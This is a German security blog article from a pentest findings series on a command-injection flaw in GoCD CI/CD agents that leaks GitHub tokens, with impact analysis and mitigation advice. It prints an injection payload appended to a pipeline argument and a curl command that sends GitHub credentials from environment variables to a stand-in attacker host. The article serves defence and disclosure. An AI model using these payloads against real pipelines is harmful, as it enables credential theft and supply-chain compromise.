Ethical Hacking
4 min.
GoCD Agent RCE führt zum Leak von GitHub-Tokens
Eine detaillierte Analyse, wie Schwachstellen bei GoCD-Agents zum Leak von GitHub-Tokens, zur Offenlegung von Source Code und zur Kompromittierung von CI/CD führen können – und wie sich diese Risiken minimieren lassen.

In modernen DevOps-Umgebungen sind Continuous-Integration- und Continuous-Delivery-(CI/CD)-Systeme entscheidend, um eine schnelle und zuverlässige Softwarebereitstellung sicherzustellen. Open-Source-Tools wie GoCD optimieren diese Prozesse, indem sie die Automatisierung der gesamten Build-Test-Release-Pipeline – vom Code-Check-in bis zur Deployment-Phase – unterstützen. Doch Fehlkonfigurationen oder unsichere Praktiken innerhalb von CI/CD-Pipelines können Unternehmen erheblichen Sicherheitsrisiken aussetzen.
Dieser Artikel gehört zu unserer Kubernetes Pentest Findings Serie, in der wir Erkenntnisse aus einem realen Sicherheitsaudit einer Cloud-nativen Umgebung teilen. Während der erste Beitrag die gesamte Angriffsfläche von Kubernetes bis hin zu GitOps-Tools beleuchtet hat, untersucht dieser Artikel eine Remote-Code-Execution-(RCE)-Schwachstelle, die in GoCD Agents identifiziert wurde. Er zeigt, wie der unsachgemäße Umgang mit Umgebungsvariablen zu einer GitHub-Token-Offenlegung führen kann – mit potenziell schwerwiegenden Auswirkungen auf die Integrität des Quellcodes und die Sicherheit der CI/CD-Infrastruktur.

GoCD Agent RCE-Schwachstelle verstehen
Remote Code Execution (RCE) durch Command Injection ist auf GoCD Agenten möglich – insbesondere dann, wenn ein Angreifer über Berechtigungen verfügt, Pipelines auszuführen und Environment Variables zu setzen.
Werden diese Variablen später in Command-Line-Argumenten verwendet, entsteht eine direkte Angriffsfläche: Der Agent wird verwundbar gegenüber eingeschleusten Befehlen.
Beispiel-Payload
Um die Schwachstelle auszunutzen, könnte ein*e Angreifer*In folgende Payload in eine Environment Variable injecten:
--insecure --argumentx; Linux_Command;Diese Payload injiziert einen zusätzlichen Befehl hinter dem eigentlich vorgesehenen Argument.
Sobald die Pipeline ausgeführt wird, wird der eingeschleuste Command auf dem Linux-basierten GoCD Agenten ausgeführt — und der*die Angreifer*In erhält unmittelbare Remote Code Execution auf dem System.
Wie GoCD-Schwachstellen zum Leak von GitHub-Tokens führen
Viele Pipelines speichern GitHub Access Tokens in Environment Variables, damit sie in git-Befehlen verwendet werden können.
Werden diese Secrets jedoch mit nicht validierten Command-Line-Inputs kombiniert, können sie leicht exfiltriert werden.
Beispielkonfiguration:
GIT_AUTHUSER: {{SECRET:[secrets][gitauthuser]}}
GIT_AUTHKEY: {{SECRET:[secrets][gitauthkey]}}Ein*e Angreifer*In kann diese Konfiguration ausnutzen, um Secrets mit einer speziell präparierten Payload wie der folgenden zu exfiltrieren:
--insecure --argumentx; curl -X POST -d "user=$GIT_AUTHUSER&key=$GIT_AUTHKEY" http://attackerhost/leaked;Dieser Befehl sendet die GitHub-Credentials per einfachem HTTP-POST-Request an einen externen Server – und exfiltriert damit das Token vollständig aus der CI/CD-Umgebung.
Auswirkungen auf CI/CD-Security und DevOps-Pipelines
Das Ausnutzen dieser Schwachstelle innerhalb der GoCD-Agent-Umgebung kann erhebliche Sicherheitsfolgen entlang der gesamten Software-Lieferkette haben. Da GoCD häufig mit erhöhten Berechtigungen arbeitet (z. B. zum Zugriff auf Repositories, Registries oder Deployment-Targets) verschafft die Kompromittierung eines Agent Execution Contexts einem*einer Angreifer*In einen mächtigen Einstiegspunkt in die CI/CD-Umgebung.
Zentrale Risiken umfassen:
- Pipeline Takeover: Angreifer*Innen können Build- oder Deployment-Skripte manipulieren, Backdoors einschleusen, Secrets stehlen oder Release-Artefakte verändern und damit die Integrität der Produktionssoftware kompromittieren.
- Source Code Exposure: Mit gestohlenen GitHub-Tokens oder API-Credentials können Angreifer*Innen private Repositories klonen und damit geistiges Eigentum sowie sensible Konfigurationen offenlegen.
- Privilege Escalation: Einmal im System können Angreifer*Innen in verbundene Systeme wie Kubernetes-Cluster, Artifact Repositories oder Cloud-Umgebungen pivotieren.
- Operational Disruption: Manipulierte Pipelines können Releases verzögern, Artefakte beschädigen oder automatisierte Tests und Security-Scans deaktivieren, was die Geschäftsabläufe beeinträchtigt.
Kurz gesagt: Ein kompromittierter GoCD-Agent ist nicht nur ein einzelner infizierter Node – er kann zum Einstiegspunkt in die gesamte Software-Supply-Chain werden und das Vertrauen in Build-Outputs wie auch den gesamten DevOps-Workflow untergraben.
Wie man GoCD Agent RCE mitigiert und Token-Leaks verhindert
Die Absicherung dieser Schwachstelle erfordert eine Defense-in-Depth-Strategie, die sichere Konfiguration, Input-Validierung und Least-Privilege-Prinzipien in der gesamten CI/CD-Pipeline kombiniert.
Empfohlene Schutzmaßnahmen:
- GoCD Agents härten: Isolieren Sie Agenten mithilfe von Netzwerksegmentierung von sensiblen Bereichen. Beschränken Sie ausgehenden Internetverkehr auf genehmigte Endpunkte und setzen Sie strikte Firewall- oder Proxy-Regeln um.
- Sicherer Umgang mit Variablen: Übergeben Sie niemals Secrets über Command-Line-Argumente oder unvalidierte Environment Variables. Verwenden Sie stattdessen sichere Credential Stores oder GoCDs encrypted secret management.
- Input validieren und säubern: Stellen Sie sicher, dass alle benutzerdefinierten Variablen sicher geparst werden, bevor sie zur Ausführung gelangen. Nutzen Sie statische Command-Definitionen oder YAML-Konfigurationen, die nicht auf dynamischer String-Konkatenation zur Laufzeit basieren.
- Role-Based Access Control (RBAC) implementieren: Beschränken Sie Pipeline-Modifikation und -Ausführung auf vertrauenswürdige Benutzer. Auditieren Sie regelmäßig Berechtigungen und Token-Scopes, um Least Privilege sicherzustellen.
- Auf Anomalien überwachen: Integrieren Sie Security-Tools, die ungewöhnliches Agent-Verhalten, verdächtige Command-Ausführungen oder Netzwerkverbindungen zu nicht genehmigten Hosts erkennen.
Durch die Kombination dieser präventiven Maßnahmen können Teams das Risiko von Command Injection erheblich reduzieren und ihre CI/CD-Credentials wirksam vor unautorisiertem Zugriff schützen.
Die GoCD Agent RCE-Schwachstelle verdeutlicht eine zentrale Wahrheit im modernen DevSecOps: Automatisierung ohne Sicherheitskontrollen vervielfacht Risiken. Wenn Pipelines mit Secrets, Deployment-Credentials und Produktions-Assets arbeiten, kann selbst eine kleine Fehlkonfiguration zum Einfallstor für eine weitreichende Kompromittierung werden.
Organisationen müssen CI/CD-Infrastrukturen als kritische Angriffsoberfläche behandeln, nicht nur als Entwickler-Tooling. Durch strikte Privilegiengrenzen, konsequente Input-Validierung und kontinuierliche Konfigurations-Audits können DevOps-Teams sowohl Geschwindigkeit als auch Sicherheit aufrechterhalten und sicherstellen, dass Continuous Delivery nicht zu Continuous Exposure wird.
Im nächsten Artikel unserer Serie tauchen wir tiefer darin ein, wie unsichere GitOps-Workflows ausgenutzt werden können und welche Schutzmaßnahmen Ihre Delivery-Pipeline manipulationssicher machen.



